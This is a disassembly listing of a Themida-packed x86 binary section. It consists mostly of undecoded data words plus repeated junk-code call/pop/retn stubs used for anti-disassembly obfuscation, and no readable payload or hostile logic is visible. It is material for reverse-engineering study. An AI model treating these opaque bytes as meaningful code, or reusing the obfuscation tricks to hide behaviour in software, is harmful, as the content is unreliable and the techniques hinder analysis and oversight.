		dd 0C3574700h, 0CED6CE05h, 8077AC21h, 12E962h, 455F0000h
		dd 37136261h, 0DF7B52A8h, 748646E1h, 0F727BC7h,	51006A5Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D89DB59h, 7D129DDh,	0B589C32Bh, 7D103F1h, 8343Dh, 28860F00h
		dd 66000000h, 22E9F38Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92ECC352h
		dd 8BF53AFEh
		db 0C0h
; ---------------------------------------------------------------------------


loc_5C8789:				; CODE XREF: Themida_:loc_5C83A2j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	esi
		call	sub_5C8798
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8798	proc near		; CODE XREF: Themida_:005C8790p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C8798	endp

; ---------------------------------------------------------------------------
		dd 9276575Dh, 70F458B0h, 890FC883h, 0
		dd 83D1DF81h, 85C7184Dh, 7D125A9h, 5CC20F1Bh, 25B1B589h
		dd 0C08B07D1h, 343DBD8Bh, 0AE807D1h, 0E1000000h, 0B48AB10Ch
		dd 4B35BF03h, 49BD8B1Ah, 5F07D107h, 2001BD81h, 7D007D1h
		dd 850F0000h, 18h, 2899B58Bh, 0BD8B07D1h, 7D11799h, 200185FFh
		dd 9D8907D1h, 7D11DE5h,	2001B5FFh, 0B58B07D1h, 7D12991h
		dd 88F0Fh, 8B560000h, 0D113BDB5h, 95FF5F07h, 7D10055h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2DC35747h
		dd 2B4E6724h, 0D10045B5h, 6A9007h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 646DC8C3h, 7E926CBFh
		dd 0B7BED664h, 604820CCh, 0BD8BC78Bh, 7D12E5Dh,	50006A61h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 68BF6642h, 0BD23604Ah, 7D10F39h, 33CE8B66h, 0D11DE5BDh
		dd 6A6107h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8BA7B5C3h, 0FFBF0FF9h, 7E9h, 88522F00h, 6D85E878h
		dd 2B45BD8Bh, 6A07D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0E567E1C3h, 0BD8B96E7h, 7D12A41h
		dd 4DB3BF66h, 215DB58Bh, 6A07D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 37D134C3h, 8B81E7A6h
		dd 8DBD8BFBh, 8B07D12Ch, 0D132F1BDh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 78E6C7Bh, 0FFF81AE9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 10F0E90Ch, 9639C781h, 2CE975F9h,	30000000h
		dd 6E2DD7h, 9 dup(0)
		dd 0E9000000h, 54Fh, 64F1EF8Fh,	52DF1D77h, 41CE2065h, 2AB73554h
		dd 16A35D3Dh, 286A425Bh, 335643D0h, 464330BDh, 6E2E1BA8h
		dd 77630592h, 0FDD7B3BAh, 3D291119h, 0F24813D9h, 0B8F45890h
		dd 7A58E733h, 532F6321h, 0C1A6443Fh, 0E6A6932Ah, 0F78E250Ah
		dd 8B652512h, 1BD5B29Fh, 84A7ACB7h, 0D362B13Dh,	0BD3B5946h
		dd 4FADEBD8h, 0F6917E6Ah, 0ED7C13F8h, 7C688400h, 989AD390h
		dd 3E2A1229h, 2998EC81h, 0AA41D812h, 4949361Bh,	0BADDCAAFh
		dd 11725F44h, 51C06BD7h, 0EA19C430h, 0D7CA5533h, 0EB10FFDBh
		dd 0A085631Fh, 4EDB7209h, 39C62061h, 0CCB14F4Ch, 6146A4DFh
		dd 23E0CCB8h, 1228D64Ah, 0F1965232h, 0F120CB5Ah, 129F593Ah
		dd 0A4896725h, 28D583E7h, 0F2564212h, 0E829CC8Dh, 7722B16Fh
		dd 0BAA80788h, 673539CDh, 49000000h, 0DFC4385Ch, 21DBB948h
		dd 0B4A08563h, 9F2ECCC7h, 28B489E2h, 62913C12h,	0CD368E21h
		dd 114F39h, 0FF630000h,	0DEC837F0h, 261C559h, 52F57AF0h
		dd 21411FAEh, 0B7A48967h, 0CF331FDDh, 92693E11h, 5338C733h
		dd 0E4C92766h, 0E75ECD78h, 0D6C24FADh, 674CAAE9h, 4627E4D0h
		dd 7E122986h, 2D6B58E7h, 4AE11F79h, 6121DFBDh, 0C9B6A287h
		dd 0B2492EC8h, 9E523623h, 93822DB9h, 7502FE9Ch,	3E1F0888h
		dd 197716E9h, 0B3A0851Ch, 2FC1C6D2h, 371CB34Ah,	8A0BFAA5h
		dd 39CD6435h, 9BC8h, 0BE22EA00h, 8EB11985h, 0F7E47394h
		dd 8C785D9Bh, 1D02E09Fh, 0B5F97431h, 34CB1228h,	64210E9Dh
		dd 0B5F57835h, 38CF1228h, 0A550BCA1h, 0CFC3BF76h, 109D34B2h
		dd 77346723h, 1228B5F6h, 0B4A037CEh, 0AF08D750h, 9350C2C0h
		dd 1228CCDAh, 0D0BC53EAh, 28CD5A13h, 44D36A12h,	186735Fh
		dd 0E4730AEFh, 6E5A98F7h, 0CCA8C582h, 851C1228h, 0D47F11F6h
		dd 4C5B6425h, 4BA239CDh, 0B6000000h, 0A231CFC9h, 553522C4h
		dd 631F0C9Bh, 0D6B3A085h, 3FEA3318h, 693959D0h,	0DA18772Bh
		dd 411FAC43h, 9A543522h, 0A28F1EB5h, 311E0AE6h,	1BB29751h
		dd 0B297692Eh, 0EAA78C1Bh, 1228B480h, 2A6B9A45h, 39CD3685h
		dd 158h, 36227A00h, 0F2AF4949h,	1228B47Bh, 3623B249h, 0CEBA9F51h
		dd 0B4E2DA6Ah, 9AFADBA3h, 4BE2795Eh, 33B1CFBCh,	0BFAA54Eh
		dd 36682815h, 20059C54h, 880DFA89h, 0FC9D8A76h,	0F7861D02h
		dd 0F5AEDC6Ah, 0DC735896h, 806D5945h, 68FFE400h, 0FC921CD9h
		dd 9B3219F9h, 2DCBC9B6h, 17D5B3A0h, 0FCF67532h,	7F2A19F9h
		dd 0FDFB9990h, 0E7058370h, 6B291602h, 7311FE8Dh, 59049075h
		dd 88774AAh, 0DF6E05EAh, 850092F2h, 5743D067h, 6BCF296Ah
		dd 47478C4Fh, 56CD5CF1h, 419E4259h, 11784h, 0EEAB9800h
		dd 80A38110h, 4603EF12h, 19F9C8A8h, 412CE9D5h, 8319F9C9h
		dd 21B85DECh, 0AC484835h, 0F4CC30C7h, 3CB6DEFEh, 8C795EEDh
		dd 7763F00Ch, 69FCE8Bh,	382519FAh, 7B0AA15Fh, 0FF9C0E8Eh
		dd 98851C01h, 851C01FFh, 7C1C09EEh, 640F9B80h, 0E21E7EB5h
		dd 87D1DE55h, 5D0C419Eh, 2E000000h, 2EE1580h, 6B287315h
		dd 1228B502h, 0AF942BC2h, 0EFD5E74Bh, 8C23A37Eh, 3B245328h
		dd 291E2ECh, 0C6F45916h, 39D09228h, 0C6D69754h,	12BD9228h
		dd 0A4188BE3h, 28C686E7h, 10A73E92h, 0F27B3824h, 0D29228C6h
		dd 3C0AC3Bh, 1228C64Ah,	0DE56E37Ah, 64h, 698705F2h, 805EED84h
		dd 3EF1280h, 0F9E73446h, 0DF99019h, 0E7096421h,	24BB19F9h
		dd 0C5C3B095h, 0EFAD9A27h, 0F96F2C11h, 2719F9E7h, 0AB978D7Ch
		dd 0F9E77FEEh, 1FAE4519h, 9965232h, 0FEEA0F7Bh,	8C622512h
		dd 0B8A40FDh, 4D3A21CFh, 351AB14Fh, 0C7AC4848h,	0EC84731Eh
		dd 0B26F5BBEh, 29A42F18h, 0AA8815ACh, 0F9991280h, 0EC831AFFh
		dd 6C271400h, 8842FF8Eh, 3C19FDD8h, 70D4C0A5h, 0F2DC3CC2h
		dd 0CE9F5C55h, 0F619FE23h, 4C39C85Fh, 3623B04Ch, 0C2AE9A56h
		dd 0FE236805h, 0D9C55C19h, 0FE24511Ch, 4DDC7319h, 2210AB68h
		dd 2D6C83F7h, 98FDEACFh, 0AB8166h, 18047011h, 7648C82Ch
		dd 164F8D82h, 0F73A1459h, 8A19B083h, 9BF930DFh,	0A5E3D05Dh
		dd 2B6E5B47h, 0CA59F0D5h, 8E0CF9E5h, 9B807C1Ch,	0F1886D04h
		dd 0D8167562h, 709F4AF3h, 901DDBB9h, 1FDDB7A4h,	7E5A390h
		dd 4E493622h, 4734CBB0h, 0A51DAC4Ah, 3,	21E4C2C7h, 0B19E837Dh
		dd 433015D3h, 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h
		dd 2411F6F4h, 0BBA88D63h, 6F3E23D9h, 519A68h, 24048900h
		dd 405E089h, 83000000h,	48704E8h, 0EC815C24h, 4, 56243C89h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	84BF241Ch, 0C1041754h
		dd 0F78107E7h, 8702A8Eh, 4E94CF81h, 0DFF70C62h,	6861BE56h
		dd 0F7315C1Fh, 91F7815Eh, 54ABCFDAh, 83241C8Bh,	895004C4h
		dd 84389F8h, 8124048Bh,	4C4h, 2434FF00h, 4C4835Bh, 5F2434FFh
		dd 0E904C483h, 0FFFC55ACh, 0D1544DECh, 0A16AE8D7h, 0B80B7902h
		dd 7D52856h, 0E0FFC503h, 79765DE1h, 46670C30h, 3CB0864Fh
		dd 314A32F4h, 7F03CA9h,	181923B7h, 1124C13Fh, 49D21D8Bh
		dd 35C3F60Ch, 5907FE23h, 4F9821E3h, 7ABA7577h, 56EFDFE1h
		dd 7E00526Eh, 2519457h,	13090FD1h, 6BF8FCF0h, 2FFB2128h
		dd 5F283283h, 6041A240h, 76516E97h, 70F9F668h, 562E2A5Bh
		dd 42244B21h, 1F734BB7h, 513239C7h, 6AF12A04h, 5928A762h
		dd 3584C7D8h, 104D4889h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 6A6948C3h, 0F2FDD28h
		dd 4EBF3BFh, 0
; ---------------------------------------------------------------------------
		jge	loc_5C8FD8
		mov	edi, [ebp+7D11F09h]


loc_5C8FD8:				; CODE XREF: Themida_:005C8FCCj
		push	0
		push	ebx
		call	sub_5C8FE3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8FE3	proc near		; CODE XREF: Themida_:005C8FDBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C8FE3	endp

; ---------------------------------------------------------------------------
		db 15h
		dd 8B3B3AC9h, 61858DFAh, 5007D113h, 6820Fh, 8B0F0000h
		dd 0
		dd 5250905Eh, 5250310Fh, 8C0Fh,	310F0000h, 585AF38Bh, 0BE50585Ah
		dd 559F1605h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 6A5808h, 2505B503h, 6A07D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4FC35040h, 5646B110h
		dd 8B66FDC7h, 6A858DF8h, 6A07D52Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8FA1C353h
		dd 0BF665E74h, 840FDC40h, 0Bh, 5800Fh, 81660000h, 83D541D6h
		dd 0B52B05C0h, 7D11021h, 0B2606090h, 0CE9610Bh,	6E000000h
		dd 0EF2AC73Dh, 5961AA80h, 61C1C05Bh, 0BE525050h, 12BA906Bh
		dd 8B66310Fh, 90585AFEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 3AC35141h, 0A8DC299Ah, 8D0F9201h, 6
		dd 149DBD31h, 6A07D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 6EC35141h, 0DF81666Dh, 0BD8B3715h, 7D131A9h
		dd 95FF006Ah, 7D11DE1h,	0DE9h, 0AB4ACF00h, 149FF7DAh, 1DD8D600h
		dd 8DFC9E55h, 0D4D5669Dh, 7DBD8907h, 0FF07D128h, 56006AD3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 85FF5354h, 7D12921h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 71C35242h, 9E4FFA57h,	69AE62CAh, 7FAE9h
		dd 0E800h, 815D0000h, 0D52B74EDh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D2689803h
		dd 2001BD81h, 7D007D1h,	860F0000h, 152h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 0F0C35545h, 0C7B06746h
		dd 2EBE6627h, 0D8EF8141h, 8B0CE812h, 0D127259Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E172CDD3h, 3855BF63h, 0EE816654h, 0A0BF84F0h, 81722EFCh
		dd 100E3h, 0ADB58B00h, 0B07D105h, 69850FDBh, 0FC000000h
		dd 298ABD83h, 0F0007D5h, 3384h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FE421FCCh
		dd 0E9A4676Ah, 6Fh, 24B98509h, 0B58B07D1h, 7D12439h, 298A85C7h
		dd 107D5h, 0BD8B0000h, 7D132F9h, 4EE9h,	8E900h,	67BB0000h
		dd 3015966Fh, 8D890BD3h, 7D105D5h, 298A85C7h, 7D5h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 171AE9C3h, 0B032B335h, 0F60E938h, 28Bh, 0F65B100h, 8D61CFBFh
		dd 0D127259Dh, 0A1952907h, 8107D113h, 0FFFEFF23h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3098685h, 0BC13E182h, 22E9BD2Bh, 8C6607D1h, 56006ADBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 770B773Dh, 0DF31FA99h, 0F5958907h, 0F607D12Dh, 840F04C3h
		dd 4Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 8EC35646h, 95FF407Dh, 7D101C5h, 66FDB660h, 61CAE2BFh
		dd 0EE96050h, 94000000h, 326BF194h, 0E7D04F8h, 86267230h
		dd 0F78B6654h, 24048961h, 27459D89h, 0B2E907D1h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 7F59C351h, 0BD8B1F92h, 7D11B01h, 207204BFh
		dd 0E600B00Eh, 52006A70h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0EDF738BEh, 327DB58Bh
		dd 71E407D1h, 11C78166h, 0D8B60F9Ah, 6BAh, 0C38BF500h
		dd 15258D89h, 0E8C107D1h, 21E78104h, 6671FA55h,	0DE8E2F7h
		dd 0F0000000h, 8F93E49h, 91792896h, 975AB879h, 2E6DBD23h
		dd 2B5F07D1h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0D4FE24FEh, 5250509Ah, 14E8h, 4E0E3300h
		dd 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h, 310F5E62h
		dd 585AF88Bh, 8B241C89h, 1B5FFF9h, 6A07D120h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C0F4C350h, 60E200A0h, 0C981F08Bh, 35DB5E64h, 5595FF61h
		dd 6A07D100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 958EC352h, 66432FE9h, 0CB94F681h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 2C5AB7C3h, 70E60077h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1AC35747h, 71E49F76h, 613C5F57h
		dd 22F830Fh, 870F0000h,	2, 0B60FFE8Bh, 50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0AD2FF379h, 6BA8Ah, 12E90000h, 0E5000000h, 79E34D15h
		dd 24CE3CAh, 41FBEB6h, 8D060F7Ah, 8BC38B6Eh, 0D11C71B5h
		dd 4E8C107h, 9299D89h, 800F07D1h, 11h, 0CE9h, 0B479200h
		dd 0AAB65627h, 524181C7h, 0E2F7665Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 13C35343h, 643B29F3h, 8B6647BDh
		dd 81D82BF1h, 0D5B17BDFh, 6A580Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 50844BC3h, 0EAB91BE7h
		dd 0FD82B17h, 16488h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0B9C27DF0h, 7,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 59C35747h, 0DFF3299Bh
		dd 14F18769h, 11E942h, 37410000h, 677D9F16h, 156BA231h
		dd 0BC2B92B3h, 8950B8DFh, 0D12F3195h, 0C18307h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 8AC35343h, 0B58B4F31h
		dd 7D117B1h, 860FD93Bh,	0D1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 26C35747h, 2475B58Bh, 8C6607D1h
		dd 0FBBF0FD9h, 0F04C1F6h, 7F84h, 0EE816600h, 95FFDC7Ah
		dd 7D101C5h, 8B605BF8h,	0D128DD9Dh, 6800F07h, 8B000000h
		dd 0D13355BDh, 0C32B6107h, 27559D89h, 343D07D1h, 0F000008h
		dd 4B86h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 912AC925h, 0EA6BC9C4h, 43E9F8h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0CAA85FC3h, 63017B4Ch, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BF0F4CC3h, 8BC38BF1h
		dd 0C9B58BD8h, 0C707D131h, 0D133A185h, 8841FB07h, 57006A59h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 81E81427h, 224FCE1Ch, 8166419Ah, 8BC7B4EEh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0DB3C086Fh, 2001BD81h, 7D007D1h, 850F0000h, 53h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5FC35747h, 0B50CA582h
		dd 5F8F12ECh, 324ABF66h
		dd 200185FFh, 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 72EE84C3h, 0C19D2944h, 0FF07D117h
		dd 0D12001B5h, 0B1BD8B07h, 907D129h, 0D114A5BDh, 5595FF07h
		dd 6A07D100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0CA92C352h, 8152DE4Eh,	5E826h
		dd 0CFEC0000h, 5FA07D2Eh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8D0FAC7Fh
		dd 0Bh,	58D0Fh,	81660000h, 81DEDDE7h, 0A12FF0F7h, 0D9B50361h
		dd 0E907D11Dh, 0Bh, 0C120698Eh,	0B111A38Ch, 6A487115h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 5E79C352h, 9D89D155h, 7D129E1h, 2879BD01h
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3DB07DC3h, 0B52B3569h, 7D10FC9h, 2A11BD8Bh
		dd 0CE907D1h, 1F000000h, 97299787h, 2235248Bh, 662CA278h
		dd 6A4BEBBFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 1439C357h, 0DD9589CAh,	6A07D11Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 55BC350h,	52DCEB8Dh, 1BD31A7h, 0F07D110h
		dd 78Dh, 6DBD8B00h, 0F507D129h,	0FFF81CE9h, 10E9F5FFh
		dd 32000000h, 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh,	8BEA474Bh
		dd 57006AC1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0DD71C78h, 0F4F37004h, 0FE8EDh, 0B2820000h
		dd 423107F7h, 39863550h, 0D3A9B8BEh, 0EE992h, 99730000h
		dd 0A659E2CEh, 0E800E6A1h, 0BA725CFDh, 4EB5Fh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 905AC357h, 6A3C45h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 3E174DC3h, 61858DBFh
		dd 0F507D113h, 66525090h, 310FF78Bh, 5E9h, 4E3C6D00h, 585A30F8h
		dd 39F0BE50h, 6A905525h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0E5ACCF5Ah, 4043809Eh
		dd 0CE957h, 0E3CF0000h,	2FA2CD83h, 0D2808702h, 6A90B1h
		dd 8DFAB70Fh, 0D5353C85h, 2D8D8907h, 8307D12Ch,	0CE905C0h
		dd 6B000000h, 2A381B88h, 0DCF5A4FAh, 5709B234h,	3465BD89h
		dd 905E07D1h, 29BF9050h, 6A14B905h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 654C7CF2h
		dd 574AB34Dh, 0B503B58Dh, 7D12C2Dh, 2E3DBD33h, 6A07D1h
		dd 29F1B58Bh, 95FF07D1h, 7D11DE1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E0C35545h,	0E048722Ah, 0EE9h
		dd 5F83D500h, 86FD9ABh,	6F4ADB3Ch, 8D3EF773h, 0D4D5669Dh
		dd 0F2F68107h, 0FF31B3C4h, 0FFF5FCD3h, 0D1292185h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 27FFBD8Ch, 863CE51Ah, 77DBD29h, 0A2E907D1h, 0E8000008h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D53546h
		mov	esi, 1095D639h
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C9CFA
		stc
		mov	ebx, [ebp+7D11EA9h]
		push	0
		push	edx
		call	sub_5C9BB2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9BB2	proc near		; CODE XREF: Themida_:005C9BAAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5C9BB2	endp

; ---------------------------------------------------------------------------
		dw 0F836h
		dd 568B19C8h, 9D31DC72h, 7D132D5h, 100E381h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 278C05C3h, 850FDB0Bh, 0C1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 4EC35040h, 84F5BC49h, 89EC00CAh
		dd 0D10059BDh, 11E907h,	6F7F0000h, 2EFAD41Eh, 0CBA4D002h
		dd 0A5A7C958h, 8387A51Fh, 0D533B9BDh, 840F0007h, 52h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6DC35747h, 0FB8B6671h
		dd 324DBD8Bh, 5AE907D1h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6A79C356h
		dd 0C8173718h, 0BF6639BEh, 85C76A4Eh, 7D533B9h,	1, 24E9h
		dd 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h
		dd 0B985C798h, 7D533h, 89000000h, 0D132D59Dh, 0A99D8D07h
		dd 6007D11Eh, 0FE9h, 84A1A00h, 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch
		dd 10B5958Bh, 816107D1h, 0FFFEFF23h, 0E68166FFh
		db 19h,	0A1h
; ---------------------------------------------------------------------------


loc_5C9CFA:				; CODE XREF: Themida_:005C9B9Aj
		mov	bx, ds
		push	0
		push	ebx
		call	sub_5C9D08
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D08	proc near		; CODE XREF: Themida_:005C9D00p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C9D08	endp

; ---------------------------------------------------------------------------
		cmp	[esi-75h], esp
		clc
		test	bl, 4
		jz	loc_5C9DB4
		push	0
		push	edx
		call	sub_5C9D30
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D30	proc near		; CODE XREF: Themida_:005C9D28p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C9D30	endp

; ---------------------------------------------------------------------------
		mov	edi, 9061BE66h
		mov	di, 7B23h
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	esi
		call	sub_5C9D5A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D5A	proc near		; CODE XREF: Themida_:005C9D52p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C9D5A	endp

; ---------------------------------------------------------------------------
		dw 26ADh
		dd 9EEE38CFh, 0BD034F5Bh, 7D126B1h, 0FE850h, 0CC920000h
		dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 8F0FF5h, 5F000000h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E702C353h
; ---------------------------------------------------------------------------


loc_5C9DB4:				; CODE XREF: Themida_:005C9D1Fj
		jmp	loc_5CA21D
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C9DC4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9DC4	proc near		; CODE XREF: Themida_:005C9DBCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C9DC4	endp

; ---------------------------------------------------------------------------
		cdq
		and	al, 0D3h
		aas
		mov	[ebp+7D132BDh],	edx
		push	esi
		mov	[ebp+7D124D5h],	ecx
		pop	esi
		mov	al, 0
		push	0
		push	esi
		call	sub_5C9DF3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9DF3	proc near		; CODE XREF: Themida_:005C9DEBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C9DF3	endp

; ---------------------------------------------------------------------------
		db 0Fh
		dd 7C87AE38h, 3840F60h,	66000000h, 0B509FE8Bh, 7D12EDDh
		dd 11B58B61h, 0E607D116h, 0F98B6670h, 21F5BD8Bh, 71E407D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C35545h
		dd 6606665Dh, 5D4F0FB9h, 0FA8BF9ABh, 6AD8B60Fh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E659C355h, 758D8908h, 0BA07D10Ch, 6, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 9EC35747h, 38F0Fh
		dd 8B660000h, 0F8BF0FF9h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 87BA07C3h, 1F08B66h
		dd 0D1079D8Dh, 4E8C107h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 7AC35545h, 667A3E58h,	6AE2F7h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 2BCEF6C3h, 0C19D89D8h, 9307D114h, 12E960h, 0F7DE0000h
		dd 6324A943h, 1DBAE510h, 0F543E30Fh, 4CD19BA1h,	50935061h
		dd 1802D681h, 0FF5E6226h, 0D12001B5h, 15B58B07h, 0E807D11Ah
		dd 0Fh,	0FD492175h, 38C47AB3h, 40E72F0Dh, 0F952F8Bh, 0FF5FF8B7h
		dd 0D1005595h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 47D5A5E5h, 0FE99C84h
		dd 4A000000h, 52302E58h, 0D342DD3h, 3306AD73h, 0B0FD07h
